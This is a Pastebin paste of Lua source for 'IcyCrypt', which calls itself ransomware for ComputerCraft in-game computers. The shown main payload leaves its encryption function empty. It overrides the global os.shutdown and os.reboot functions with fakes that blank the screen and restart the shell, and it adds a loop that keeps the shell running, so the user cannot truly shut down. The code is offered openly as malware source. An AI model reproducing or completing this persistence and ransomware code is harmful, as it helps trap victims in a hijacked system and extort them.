Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- IcyCrypt - A computerCraft ransomware
- This variant saves the key on the disk
- (C) 2017 Rahph
- Main payload
- ]]
- _G.term.undoPaletteChange = "1.0"
- local crypt = function()
- end
- local overwrite = function(mode)
- if mode == "reboot" then
- term.setBackgroundColor(colors.black)
- term.clear()
- sleep(2)
- term.setCursorPos(1,1)
- shell.run("shell")
- end
- if mode == "shutdown" then
- term.setBackgroundColor(colors.black)
- term.clear()
- while true do
- event = os.pullEvent()
- if event == "key" or event == "key_up" or event == "char" or event == "mouse_click" then
- break
- end
- end
- term.setCursorPos(1,1)
- term.clear()
- shell.run("shell")
- end
- end
- local evershell = function()
- while true do
- shell.run("shell")
- end
- end
- _G.os.shutdown = function() overwrite("shutdown") end
- _G.os.reboot = function() overwrite("reboot") end
Advertisement
Add Comment
Please, Sign In to add comment